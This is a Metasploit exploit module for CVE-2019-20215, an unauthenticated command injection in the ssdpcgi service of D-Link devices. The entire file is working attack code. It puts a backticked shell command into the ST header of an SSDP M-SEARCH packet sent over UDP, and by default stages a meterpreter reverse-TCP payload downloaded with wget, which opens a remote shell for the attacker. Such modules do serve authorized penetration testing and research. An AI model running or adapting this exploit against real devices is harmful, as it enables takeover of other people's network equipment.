##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
'Description' => %q{
D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
},
'Author' =>
[
's1kr10s',
'secenv'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-20215'],
['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
],
'DisclosureDate' => 'Dec 24 2019',
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'wget',
'RPORT' => '1900'
},
'Targets' =>
[
[ 'Auto', { } ],
],
'CmdStagerFlavor' => %w{ echo wget },
'DefaultTarget' => 0
))
register_options(
[
Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
])
end
def exploit
execute_cmdstager(linemax: 1500)
end
def execute_command(cmd, opts)
type = datastore['VECTOR']
if type == "URN"
print_status("Target Payload URN")
val = "urn:device:1;`#{cmd}`"
else
print_status("Target Payload UUID")
val = "uuid:`#{cmd}`"
end
connect_udp
header = "M-SEARCH * HTTP/1.1\r\n"
header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"
header << "ST:#{val}\r\n"
header << "Man:\"ssdp:discover\"\r\n"
header << "MX:2\r\n\r\n"
udp_sock.put(header)
disconnect_udp
end
end
